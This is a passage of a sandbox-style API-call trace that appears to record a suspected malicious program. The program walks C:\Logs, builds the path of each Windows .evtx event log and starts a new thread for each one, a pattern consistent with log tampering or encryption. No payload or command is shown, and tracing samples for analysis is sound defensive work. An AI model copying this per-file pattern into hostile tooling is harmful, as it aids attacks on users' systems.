wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", _String2="..") returned 1 [0058.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd2f0 [0058.856] wcscpy (in: _Dest=0x33cd2f0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.856] wcscat (in: _Dest=0x33cd2f0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.856] wcscat (in: _Dest=0x33cd2f0, _Source="Microsoft-Windows-DeviceSetupManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" [0058.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474 [0058.857] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0058.857] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", _String2=".") returned 1 [0058.857] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", _String2="..") returned 1 [0058.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x33e7090 [0058.857] wcscpy (in: _Dest=0x33e7090, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.857] wcscat (in: _Dest=0x33e7090, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.857] wcscat (in: _Dest=0x33e7090, _Source="Microsoft-Windows-DeviceSetupManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" [0058.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e7090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0058.858] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0058.858] wcscmp (_String1="Microsoft-Windows-Dhcp-Client%4Admin.evtx", _String2=".") returned 1 [0058.858] wcscmp (_String1="Microsoft-Windows-Dhcp-Client%4Admin.evtx", _String2="..") returned 1 [0058.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x33c7d40 [0058.858] wcscpy (in: _Dest=0x33c7d40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.858] wcscat (in: _Dest=0x33c7d40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.859] wcscat (in: _Dest=0x33c7d40, _Source="Microsoft-Windows-Dhcp-Client%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" [0058.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c7d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0058.859] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0058.859] wcscmp (_String1="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", _String2=".") returned 1 [0058.859] wcscmp (_String1="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", _String2="..") returned 1 [0058.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x33c9d00 [0058.860] wcscpy (in: _Dest=0x33c9d00, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.860] wcscat (in: _Dest=0x33c9d00, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.860] wcscat (in: _Dest=0x33c9d00, _Source="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" [0058.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c9d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0058.860] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0058.861] wcscmp (_String1="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", _String2=".") returned 1 [0058.861] wcscmp (_String1="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", _String2="..") returned 1 [0058.861] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cc9f0 [0058.861] wcscpy (in: _Dest=0x33cc9f0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.861] wcscat (in: _Dest=0x33cc9f0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.861] wcscat (in: _Dest=0x33cc9f0, _Source="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" [0058.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cc9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484 [0058.862] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0058.862] wcscmp (_String1="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", _String2=".") returned 1 [0058.862] wcscmp (_String1="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", _String2="..") returned 1 [0058.862] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2600 [0058.862] wcscpy (in: _Dest=0x33e2600, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.862] wcscat (in: _Dest=0x33e2600, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.862] wcscat (in: _Dest=0x33e2600, _Source="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" [0058.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488 [0058.863] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0058.863] wcscmp (_String1="Microsoft-Windows-GroupPolicy%4Operational.evtx", _String2=".") returned 1 [0058.863] wcscmp (_String1="Microsoft-Windows-GroupPolicy%4Operational.evtx", _String2="..") returned 1 [0058.863] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c45b8 [0058.863] wcscpy (in: _Dest=0x33c45b8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.863] wcscat (in: _Dest=0x33c45b8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.863] wcscat (in: _Dest=0x33c45b8, _Source="Microsoft-Windows-GroupPolicy%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" [0058.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c45b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c [0058.864] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0058.864] wcscmp (_String1="Microsoft-Windows-HotspotAuth%4Operational.evtx", _String2=".") returned 1 [0058.864] wcscmp (_String1="Microsoft-Windows-HotspotAuth%4Operational.evtx", _String2="..") returned 1 [0058.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33caac0 [0058.864] wcscpy (in: _Dest=0x33caac0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.864] wcscat (in: _Dest=0x33caac0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.864] wcscat (in: _Dest=0x33caac0, _Source="Microsoft-Windows-HotspotAuth%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" [0058.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33caac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0058.865] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0058.865] wcscmp (_String1="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", _String2=".") returned 1 [0058.865] wcscmp (_String1="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", _String2="..") returned 1 [0058.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cd070 [0058.865] wcscpy (in: _Dest=0x33cd070, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.865] wcscat (in: _Dest=0x33cd070, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.865] wcscat (in: _Dest=0x33cd070, _Source="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" [0058.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0058.866] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0058.866] wcscmp (_String1="Microsoft-Windows-International%4Operational.evtx", _String2=".") returned 1 [0058.866] wcscmp (_String1="Microsoft-Windows-International%4Operational.evtx", _String2="..") returned 1 [0058.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccdf0 [0058.866] wcscpy (in: _Dest=0x33ccdf0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.866] wcscat (in: _Dest=0x33ccdf0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.866] wcscat (in: _Dest=0x33ccdf0, _Source="Microsoft-Windows-International%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" [0058.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccdf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0058.867] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0058.867] wcscmp (_String1="Microsoft-Windows-Kernel-Boot%4Operational.evtx", _String2=".") returned 1 [0058.867] wcscmp (_String1="Microsoft-Windows-Kernel-Boot%4Operational.evtx", _String2="..") returned 1 [0058.867] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33d1f78 [0058.867] wcscpy (in: _Dest=0x33d1f78, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.867] wcscat (in: _Dest=0x33d1f78, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.867] wcscat (in: _Dest=0x33d1f78, _Source="Microsoft-Windows-Kernel-Boot%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" [0058.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33d1f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0058.868] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0058.868] wcscmp (_String1="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", _String2=".") returned 1 [0058.868] wcscmp (_String1="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", _String2="..") returned 1 [0058.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd470 [0058.868] wcscpy (in: _Dest=0x33cd470, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.868] wcscat (in: _Dest=0x33cd470, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.868] wcscat (in: _Dest=0x33cd470, _Source="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" [0058.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0058.869] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0058.869] wcscmp (_String1="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", _String2=".") returned 1 [0058.869] wcscmp (_String1="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", _String2="..") returned 1 [0058.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccf70 [0058.869] wcscpy (in: _Dest=0x33ccf70, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.869] wcscat (in: _Dest=0x33ccf70, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.869] wcscat (in: _Dest=0x33ccf70, _Source="Microsoft-Windows-Kernel-PnP%4Configuration.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" [0058.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0058.870] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0058.870] wcscmp (_String1="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", _String2=".") returned 1 [0058.870] wcscmp (_String1="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", _String2="..") returned 1 [0058.870] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e3140 [0058.870] wcscpy (in: _Dest=0x33e3140, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.870] wcscat (in: _Dest=0x33e3140, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.870] wcscat (in: _Dest=0x33e3140, _Source="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" [0058.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e3140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0058.871] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0058.871] wcscmp (_String1="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", _String2=".") returned 1 [0058.871] wcscmp (_String1="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", _String2="..") returned 1 [0058.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x33c47e0 [0058.871] wcscpy (in: _Dest=0x33c47e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.871] wcscat (in: _Dest=0x33c47e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.871] wcscat (in: _Dest=0x33c47e0, _Source="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" [0058.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c47e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0058.872] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0058.873] wcscmp (_String1="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", _String2=".") returned 1 [0058.873] wcscmp (_String1="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", _String2="..") returned 1 [0058.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cd370 [0058.873] wcscpy (in: _Dest=0x33cd370, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0061.647] wcscat (in: _Dest=0x33cd370, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.647] wcscat (in: _Dest=0x33cd370, _Source="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" [0062.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0062.293] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0062.293] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", _String2=".") returned 1 [0062.293] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", _String2="..") returned 1 [0062.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x33c2d60 [0062.293] wcscpy (in: _Dest=0x33c2d60, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.293] wcscat (in: _Dest=0x33c2d60, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.293] wcscat (in: _Dest=0x33c2d60, _Source="Microsoft-Windows-Kernel-WHEA%4Errors.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" [0062.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, 